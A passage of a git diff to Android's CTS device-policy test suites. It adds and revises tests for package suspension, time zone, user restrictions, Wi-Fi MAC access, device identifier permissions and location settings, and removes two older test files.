+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SetPolicyActivity.java
@@ -21,6 +21,7 @@
import android.content.Intent;
import android.content.pm.PackageManager.NameNotFoundException;
import android.os.Bundle;
+import android.os.Handler;
import android.os.Process;
import android.util.Log;
import java.util.ArrayList;
@@ -62,11 +63,13 @@
}
@Override
- public void onPause() {
- super.onPause();
- // Calling finish() here because doing it in onCreate(), onStart() or onResume() makes
+ public void onResume() {
+ super.onResume();
+ // Posting finish() here because:
+ // - calling it directly in onResume() or sooner makes
// "adb shell am start" timeout if using the -W option.
- finish();
+ // - calling it in onPause() or later does nothing
+ Handler.getMain().post(this::finish);
}
private void handleIntent(Intent intent) {
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SuspendPackageTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SuspendPackageTest.java
index 0b159cb..8a05a27 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SuspendPackageTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SuspendPackageTest.java
@@ -58,6 +58,18 @@
assertTrue(isSuspended);
}
+ public void testSetPackagesNotSuspendedWithPackageManager() throws NameNotFoundException {
+ String[] notHandledPackages = mContext.getPackageManager().setPackagesSuspended(
+ new String[] {INTENT_RECEIVER_PKG}, false, null, null, (SuspendDialogInfo) null);
+ // all packages should be handled.
+ assertEquals(0, notHandledPackages.length);
+ // test isPackageSuspended
+ boolean isSuspended =
+ mDevicePolicyManager.isPackageSuspended(
+ ADMIN_RECEIVER_COMPONENT, INTENT_RECEIVER_PKG);
+ assertFalse(isSuspended);
+ }
+
public void testSetPackagesNotSuspended() throws NameNotFoundException {
String[] notHandledPackages = mDevicePolicyManager.setPackagesSuspended(
ADMIN_RECEIVER_COMPONENT,
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/TimeManagementTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/TimeManagementTest.java
new file mode 100644
index 0000000..771b13b
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/TimeManagementTest.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.deviceandprofileowner;
+
+import static com.google.common.truth.Truth.assertThat;
+
+public class TimeManagementTest extends BaseDeviceAdminTest {
+
+ public void testSetAutoTimeZone() {
+ mDevicePolicyManager.setAutoTimeZone(ADMIN_RECEIVER_COMPONENT, true);
+
+ boolean autoTimeZone = mDevicePolicyManager.getAutoTimeZone(ADMIN_RECEIVER_COMPONENT);
+ assertThat(autoTimeZone).isTrue();
+
+ mDevicePolicyManager.setAutoTimeZone(ADMIN_RECEIVER_COMPONENT, false);
+
+ autoTimeZone = mDevicePolicyManager.getAutoTimeZone(ADMIN_RECEIVER_COMPONENT);
+ assertThat(autoTimeZone).isFalse();
+ }
+
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/UserRestrictionsParentTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/UserRestrictionsParentTest.java
new file mode 100644
index 0000000..b0b398e
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/UserRestrictionsParentTest.java
@@ -0,0 +1,65 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.deviceandprofileowner;
+
+import static com.android.cts.deviceandprofileowner.BaseDeviceAdminTest.ADMIN_RECEIVER_COMPONENT;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.Context;
+import android.os.UserManager;
+import android.test.InstrumentationTestCase;
+
+public class UserRestrictionsParentTest extends InstrumentationTestCase {
+
+ protected Context mContext;
+ private DevicePolicyManager mDevicePolicyManager;
+ private UserManager mUserManager;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ mContext = getInstrumentation().getContext();
+
+ mDevicePolicyManager = (DevicePolicyManager)
+ mContext.getSystemService(Context.DEVICE_POLICY_SERVICE);
+ assertNotNull(mDevicePolicyManager);
+
+ mUserManager = mContext.getSystemService(UserManager.class);
+ assertNotNull(mUserManager);
+ }
+
+ public void testAddUserRestriction_onParent() {
+ DevicePolicyManager parentDevicePolicyManager =
+ mDevicePolicyManager.getParentProfileInstance(ADMIN_RECEIVER_COMPONENT);
+ assertNotNull(parentDevicePolicyManager);
+
+ parentDevicePolicyManager.addUserRestriction(ADMIN_RECEIVER_COMPONENT,
+ UserManager.DISALLOW_CONFIG_DATE_TIME);
+ }
+
+ public void testHasUserRestriction() {
+ assertThat(mUserManager.hasUserRestriction(UserManager.DISALLOW_CONFIG_DATE_TIME)).isTrue();
+ }
+
+ public void testUserRestrictionAreNotPersisted() {
+ assertThat(
+ mUserManager.hasUserRestriction(UserManager.DISALLOW_CONFIG_DATE_TIME)).isFalse();
+ }
+
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/WifiTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/WifiTest.java
new file mode 100644
index 0000000..8703b10
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/WifiTest.java
@@ -0,0 +1,53 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.deviceandprofileowner;
+
+import android.content.ComponentName;
+import android.content.pm.PackageManager;
+import android.text.TextUtils;
+
+/**
+ * Tests that require the WiFi feature.
+ */
+public class WifiTest extends BaseDeviceAdminTest {
+ /** Mac address returned when the caller doesn't have access. */
+ private static final String DEFAULT_MAC_ADDRESS = "02:00:00:00:00:00";
+
+ public static final ComponentName ADMIN_RECEIVER_COMPONENT = new ComponentName(
+ BaseDeviceAdminTest.BasicAdminReceiver.class.getPackage().getName(),
+ BaseDeviceAdminTest.BasicAdminReceiver.class.getName());
+
+ public void testGetWifiMacAddress() {
+ if (!mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_WIFI)) {
+ // wifi not supported.
+ return;
+ }
+ final String macAddress = mDevicePolicyManager.getWifiMacAddress(ADMIN_RECEIVER_COMPONENT);
+
+ assertFalse("Device owner should be able to get the real MAC address",
+ DEFAULT_MAC_ADDRESS.equals(macAddress));
+ assertFalse("getWifiMacAddress() returned an empty string. WiFi not enabled?",
+ TextUtils.isEmpty(macAddress));
+ }
+
+ public void testCannotGetWifiMacAddress() {
+ try {
+ mDevicePolicyManager.getWifiMacAddress(ADMIN_RECEIVER_COMPONENT);
+ fail("Profile owner shouldn't be able to get the MAC address");
+ } catch (SecurityException expected) {
+ }
+ }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/BaseUserRestrictionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/BaseUserRestrictionsTest.java
index 5569653..41c162e 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/BaseUserRestrictionsTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/BaseUserRestrictionsTest.java
@@ -42,14 +42,12 @@
UserManager.DISALLOW_USB_FILE_TRANSFER,
UserManager.DISALLOW_CONFIG_CREDENTIALS,
UserManager.DISALLOW_REMOVE_USER,
- UserManager.DISALLOW_REMOVE_MANAGED_PROFILE,
UserManager.DISALLOW_DEBUGGING_FEATURES,
UserManager.DISALLOW_CONFIG_VPN,
UserManager.DISALLOW_CONFIG_TETHERING,
UserManager.DISALLOW_NETWORK_RESET,
UserManager.DISALLOW_FACTORY_RESET,
UserManager.DISALLOW_ADD_USER,
- UserManager.DISALLOW_ADD_MANAGED_PROFILE,
UserManager.ENSURE_VERIFY_APPS,
UserManager.DISALLOW_CONFIG_CELL_BROADCASTS,
UserManager.DISALLOW_CONFIG_MOBILE_NETWORKS,
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/DeviceOwnerUserRestrictionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/DeviceOwnerUserRestrictionsTest.java
index 6c33dba..2b6dca6 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/DeviceOwnerUserRestrictionsTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/DeviceOwnerUserRestrictionsTest.java
@@ -30,14 +30,12 @@
UserManager.DISALLOW_USB_FILE_TRANSFER,
UserManager.DISALLOW_CONFIG_CREDENTIALS,
UserManager.DISALLOW_REMOVE_USER,
- UserManager.DISALLOW_REMOVE_MANAGED_PROFILE,
// UserManager.DISALLOW_DEBUGGING_FEATURES, // Need for CTS
UserManager.DISALLOW_CONFIG_VPN,
UserManager.DISALLOW_CONFIG_TETHERING,
UserManager.DISALLOW_NETWORK_RESET,
UserManager.DISALLOW_FACTORY_RESET,
UserManager.DISALLOW_ADD_USER,
- UserManager.DISALLOW_ADD_MANAGED_PROFILE,
// UserManager.ENSURE_VERIFY_APPS, // Has unrecoverable side effects.
UserManager.DISALLOW_CONFIG_CELL_BROADCASTS,
UserManager.DISALLOW_CONFIG_MOBILE_NETWORKS,
@@ -68,7 +66,7 @@
};
public static final String[] DEFAULT_ENABLED = new String[] {
- UserManager.DISALLOW_ADD_MANAGED_PROFILE
+ // No restrictions set for DO by default.
};
@Override
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DeviceIdentifiersTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DeviceIdentifiersTest.java
index ea60582..e5ea597 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DeviceIdentifiersTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DeviceIdentifiersTest.java
@@ -15,7 +15,10 @@
*/
package com.android.cts.deviceowner;
+import static org.testng.Assert.assertThrows;
+
import android.content.Context;
+import android.content.pm.PackageManager;
import android.os.Build;
import android.telephony.TelephonyManager;
@@ -29,9 +32,6 @@
private static final String DEVICE_ID_WITH_PERMISSION_ERROR_MESSAGE =
"An unexpected value was received by the device owner with the READ_PHONE_STATE "
+ "permission when invoking %s";
- private static final String NO_SECURITY_EXCEPTION_ERROR_MESSAGE =
- "A device owner that does not have the READ_PHONE_STATE permission must receive a "
- + "SecurityException when invoking %s";
public void testDeviceOwnerCanGetDeviceIdentifiersWithPermission() throws Exception {
// The device owner with the READ_PHONE_STATE permission should have access to all device
@@ -58,6 +58,10 @@
ShellIdentityUtils.invokeMethodWithShellPermissions(telephonyManager,
(tm) -> tm.getSimSerialNumber()),
telephonyManager.getSimSerialNumber());
+ assertEquals(
+ String.format(DEVICE_ID_WITH_PERMISSION_ERROR_MESSAGE, "getNai"),
+ ShellIdentityUtils.invokeMethodWithShellPermissions(telephonyManager,
+ (tm) -> tm.getNai()), telephonyManager.getNai());
assertEquals(String.format(DEVICE_ID_WITH_PERMISSION_ERROR_MESSAGE, "Build#getSerial"),
ShellIdentityUtils.invokeStaticMethodWithShellPermissions(Build::getSerial),
Build.getSerial());
@@ -72,40 +76,25 @@
// SecurityException when querying for device identifiers.
TelephonyManager telephonyManager = (TelephonyManager) mContext.getSystemService(
Context.TELEPHONY_SERVICE);
- try {
- telephonyManager.getDeviceId();
- fail(String.format(NO_SECURITY_EXCEPTION_ERROR_MESSAGE, "getDeviceId"));
- } catch (SecurityException expected) {
- }
-
- try {
- telephonyManager.getImei();
- fail(String.format(NO_SECURITY_EXCEPTION_ERROR_MESSAGE, "getImei"));
- } catch (SecurityException expected) {
- }
-
- try {
- telephonyManager.getMeid();
- fail(String.format(NO_SECURITY_EXCEPTION_ERROR_MESSAGE, "getMeid"));
- } catch (SecurityException expected) {
- }
-
- try {
- telephonyManager.getSubscriberId();
- fail(String.format(NO_SECURITY_EXCEPTION_ERROR_MESSAGE, "getSubscriberId"));
- } catch (SecurityException expected) {
- }
-
- try {
- telephonyManager.getSimSerialNumber();
- fail(String.format(NO_SECURITY_EXCEPTION_ERROR_MESSAGE, "getSimSerialNumber"));
- } catch (SecurityException expected) {
- }
-
- try {
- Build.getSerial();
- fail(String.format(NO_SECURITY_EXCEPTION_ERROR_MESSAGE, "Build#getSerial"));
- } catch (SecurityException expected) {
+ // Allow the APIs to also return null if the telephony feature is not supported.
+ boolean hasTelephonyFeature =
+ mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_TELEPHONY);
+ if (hasTelephonyFeature) {
+ assertThrows(SecurityException.class, telephonyManager::getDeviceId);
+ assertThrows(SecurityException.class, telephonyManager::getImei);
+ assertThrows(SecurityException.class, telephonyManager::getMeid);
+ assertThrows(SecurityException.class, telephonyManager::getSubscriberId);
+ assertThrows(SecurityException.class, telephonyManager::getSimSerialNumber);
+ assertThrows(SecurityException.class, telephonyManager::getNai);
+ assertThrows(SecurityException.class, Build::getSerial);
+ } else {
+ assertNull(telephonyManager.getDeviceId());
+ assertNull(telephonyManager.getImei());
+ assertNull(telephonyManager.getMeid());
+ assertNull(telephonyManager.getSubscriberId());
+ assertNull(telephonyManager.getSimSerialNumber());
+ assertNull(telephonyManager.getNai());
+ assertNull(Build.getSerial());
}
}
}
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicyLoggingTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicyLoggingTest.java
index 9aad7b5..3d11999 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicyLoggingTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicyLoggingTest.java
@@ -16,6 +16,13 @@
package com.android.cts.deviceowner;
+import static android.provider.Settings.Global.AUTO_TIME;
+import static android.provider.Settings.Global.AUTO_TIME_ZONE;
+import static android.provider.Settings.Global.DATA_ROAMING;
+import static android.provider.Settings.Global.USB_MASS_STORAGE_ENABLED;
+
+import android.provider.Settings;
+
/**
* Invocations of {@link android.app.admin.DevicePolicyManager} methods which are either not CTS
* tested or the CTS tests call too many other methods. Used to verify that the relevant metrics
@@ -31,4 +38,29 @@
mDevicePolicyManager.setStatusBarDisabled(getWho(), true);
mDevicePolicyManager.setStatusBarDisabled(getWho(), false);
}
+
+ public void testSetGlobalSettingLogged() {
+ final String autoTimeOriginalValue =
+ Settings.Global.getString(mContext.getContentResolver(), AUTO_TIME);
+ final String autoTimeZoneOriginalValue =
+ Settings.Global.getString(mContext.getContentResolver(), AUTO_TIME_ZONE);
+ final String dataRoamingOriginalValue =
+ Settings.Global.getString(mContext.getContentResolver(), DATA_ROAMING);
+ final String usbMassStorageOriginalValue =
+ Settings.Global.getString(mContext.getContentResolver(), USB_MASS_STORAGE_ENABLED);
+
+ try {
+ mDevicePolicyManager.setGlobalSetting(getWho(), AUTO_TIME, "1");
+ mDevicePolicyManager.setGlobalSetting(getWho(), AUTO_TIME_ZONE, "1");
+ mDevicePolicyManager.setGlobalSetting(getWho(), DATA_ROAMING, "1");
+ mDevicePolicyManager.setGlobalSetting(getWho(), USB_MASS_STORAGE_ENABLED, "1");
+ } finally {
+ mDevicePolicyManager.setGlobalSetting(getWho(), AUTO_TIME, autoTimeOriginalValue);
+ mDevicePolicyManager.setGlobalSetting(
+ getWho(), AUTO_TIME_ZONE, autoTimeZoneOriginalValue);
+ mDevicePolicyManager.setGlobalSetting(getWho(), DATA_ROAMING, dataRoamingOriginalValue);
+ mDevicePolicyManager.setGlobalSetting(
+ getWho(), USB_MASS_STORAGE_ENABLED, usbMassStorageOriginalValue);
+ }
+ }
}
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockScreenInfoTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockScreenInfoTest.java
deleted file mode 100644
index 4863192..0000000
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockScreenInfoTest.java
+++ /dev/null
@@ -1,84 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.deviceowner;
-
-import java.lang.Character;
-
-public class LockScreenInfoTest extends BaseDeviceOwnerTest {
-
- @Override
- public void tearDown() throws Exception {
- mDevicePolicyManager.setDeviceOwnerLockScreenInfo(getWho(), null);
- super.tearDown();
- }
-
- public void testSetAndGetLockInfo() {
- setLockInfo("testSetAndGet");
- }
-
- public void testClearLockInfo() {
- setLockInfo("testClear");
- setLockInfo(null);
-
- }
-
- public void testEmptyStringClearsLockInfo() {
- final String message = "";
- mDevicePolicyManager.setDeviceOwnerLockScreenInfo(getWho(), message);
- assertNull(mDevicePolicyManager.getDeviceOwnerLockScreenInfo());
- }
-
- public void testWhitespaceOnly() {
- setLockInfo("\t");
- }
-
- public void testUnicode() {
- final String smiley = new String(Character.toChars(0x1F601));
- final String phone = new String(Character.toChars(0x1F4F1));
- setLockInfo(smiley + phone + "\t" + phone + smiley);
- }
-
- public void testNullInString() {
- setLockInfo("does \0 this \1 work?");
- }
-
- public void testReasonablyLongString() {
- final int messageLength = 128;
- setLockInfo(new String(new char[messageLength]).replace('\0', 'Z'));
- }
-
- public void testSetLockInfoWithNullAdminFails() {
- final String message = "nulladmin";
-
- // Set message
- try {
- mDevicePolicyManager.setDeviceOwnerLockScreenInfo(null, message);
- fail("Exception should have been thrown for null admin ComponentName");
- } catch (NullPointerException expected) {
- }
- }
-
- /**
- * Sets device owner lock screen info on behalf of the current device owner admin.
- *
- * @throws AssertionError if the setting did not take effect.
- */
- private void setLockInfo(String message) {
- mDevicePolicyManager.setDeviceOwnerLockScreenInfo(getWho(), message);
- assertEquals(message, mDevicePolicyManager.getDeviceOwnerLockScreenInfo());
- }
-}
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/SetLocationEnabledTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/SetLocationEnabledTest.java
new file mode 100644
index 0000000..2a6d9ab
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/SetLocationEnabledTest.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.deviceowner;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.location.LocationManager;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Test {@link DevicePolicyManager#setLocationEnabled}.
+ */
+public class SetLocationEnabledTest extends BaseDeviceOwnerTest {
+ private static final long TIMEOUT_MS = 5000;
+
+ public void testSetLocationEnabled() throws Exception {
+ LocationManager locationManager = mContext.getSystemService(LocationManager.class);
+ boolean enabled = locationManager.isLocationEnabled();
+
+ setLocationEnabledAndWait(!enabled);
+ assertEquals(!enabled, locationManager.isLocationEnabled());
+ setLocationEnabledAndWait(enabled);
+ assertEquals(enabled, locationManager.isLocationEnabled());
+ }
+
+ private void setLocationEnabledAndWait(boolean enabled) throws Exception {
+ final CountDownLatch latch = new CountDownLatch(1);
+ final BroadcastReceiver receiver = new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ latch.countDown();
+ }
+ };
+ mContext.registerReceiver(receiver, new IntentFilter(LocationManager.MODE_CHANGED_ACTION));
+
+ try {
+ mDevicePolicyManager.setLocationEnabled(getWho(), enabled);
+ assertTrue("timed out waiting for location mode change broadcast",
+ latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ } finally {
+ mContext.unregisterReceiver(receiver);
+ }
+ }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/WifiTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/WifiTest.java
deleted file mode 100644
index b5b4801..0000000
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/WifiTest.java
+++ /dev/null
@@ -1,40 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.deviceowner;
-
-import android.content.pm.PackageManager;
-import android.text.TextUtils;
-
-/**
- * Tests that require the WiFi feature.
- */
-public class WifiTest extends BaseDeviceOwnerTest {
- /** Mac address returned when the caller doesn't have access. */
- private static final String DEFAULT_MAC_ADDRESS = "02:00:00:00:00:00";
-
- public void testGetWifiMacAddress() {
- if (!mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_WIFI)) {
- // wifi not supported.
- return;
- }
- final String macAddress = mDevicePolicyManager.getWifiMacAddress(getWho());
-
- assertFalse("Device owner should be able to get the real MAC address",
- DEFAULT_MAC_ADDRESS.equals(macAddress));
- assertFalse("getWifiMacAddress() returned an empty string. WiFi not enabled?",
- TextUtils.isEmpty(macAddress));
- }
-}
diff --git a/hostsidetests/devicepolicy/app/HasLauncherActivityApp/Android.bp b/hostsidetests/devicepolicy/app/HasLauncherActivityApp/Android.bp
index f2c0649..8dc698e 100644
--- a/hostsidetests/devicepolicy/app/HasLauncherActivityApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/HasLauncherActivityApp/Android.bp
@@ -25,6 +25,7 @@
srcs: ["src/**/*.java"],
// tag this module as a cts test artifact
test_suites: [
+ "arcts",
"cts",
"vts",
"general-tests",
@@ -44,6 +45,7 @@
srcs: ["src/**/*.java"],
// tag this module as a cts test artifact
test_suites: [
+ "arcts",
"cts",
"vts",
"general-tests",
@@ -64,6 +66,7 @@
srcs: ["src/**/*.java"],
// tag this module as a cts test artifact
test_suites: [
+ "arcts",
"cts",
"vts",
"general-tests",
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml b/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
index 822cf9b..37ba155 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
@@ -35,6 +35,7 @@
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.READ_CALENDAR" />
<uses-permission android:name="android.permission.WRITE_CALENDAR" />
+ <uses-permission android:name="android.permission.REQUEST_PASSWORD_COMPLEXITY"/>
<application
android:testOnly="true">
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CrossProfileCalendarTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CrossProfileCalendarTest.java
index 083848d..5ced0e6 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CrossProfileCalendarTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CrossProfileCalendarTest.java
@@ -102,9 +102,6 @@
private static final long TEST_VIEW_EVENT_END = 10000;
private static final boolean TEST_VIEW_EVENT_ALL_DAY = false;
private static final int TEST_VIEW_EVENT_FLAG = Intent.FLAG_ACTIVITY_NEW_TASK;
- private static final int TIMEOUT_SEC = 10;
- private static final String ID_TEXTVIEW =
- "com.android.cts.managedprofile:id/view_event_text";
private ContentResolver mResolver;
private DevicePolicyManager mDevicePolicyManager;
@@ -335,29 +332,6 @@
assertThat(cursor.getCount()).isEqualTo(1);
}
- // This test should be run when the test package is whitelisted.
- public void testViewEventCrossProfile_intentReceivedWhenWhitelisted() throws Exception {
- requireRunningOnPrimaryProfile();
-
- // Get UiDevice and start view event activity.
- final UiDevice device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
- device.wakeUp();
-
- assertThat(CalendarContract.startViewCalendarEventInManagedProfile(mContext,
- TEST_VIEW_EVENT_ID, TEST_VIEW_EVENT_START, TEST_VIEW_EVENT_END,
- TEST_VIEW_EVENT_ALL_DAY, TEST_VIEW_EVENT_FLAG)).isTrue();
- final String textviewString = getViewEventCrossProfileString(TEST_VIEW_EVENT_ID,
- TEST_VIEW_EVENT_START, TEST_VIEW_EVENT_END, TEST_VIEW_EVENT_ALL_DAY,
- TEST_VIEW_EVENT_FLAG);
-
- // Look for the text view to verify that activity is started in work profile.
- UiObject2 textView = device.wait(
- Until.findObject(By.res(ID_TEXTVIEW)),
- TIMEOUT_SEC);
- assertThat(textView).isNotNull();
- assertThat(textView.getText()).isEqualTo(textviewString);
- }
-
// This test should be run when the test package is whitelisted and cross-profile calendar
// is enabled in settings.
public void testPrimaryProfile_getExceptionWhenQueryNonWhitelistedColumns() {
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CrossProfileTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CrossProfileTest.java
new file mode 100644
index 0000000..795e34f
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CrossProfileTest.java
@@ -0,0 +1,76 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.managedprofile;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.ComponentName;
+
+import java.util.Collections;
+import java.util.Set;
+
+/** App-side tests for interacting across profiles. */
+public class CrossProfileTest extends BaseManagedProfileTest {
+ private static final ComponentName NON_ADMIN_RECEIVER =
+ new ComponentName(
+ NonAdminReceiver.class.getPackage().getName(),
+ NonAdminReceiver.class.getName());
+
+ private static final Set<String> TEST_CROSS_PROFILE_PACKAGES =
+ Collections.singleton("test.package.name");
+
+ public void testSetCrossProfilePackages_notProfileOwner_throwsSecurityException() {
+ try {
+ mDevicePolicyManager.setCrossProfilePackages(
+ NON_ADMIN_RECEIVER, TEST_CROSS_PROFILE_PACKAGES);
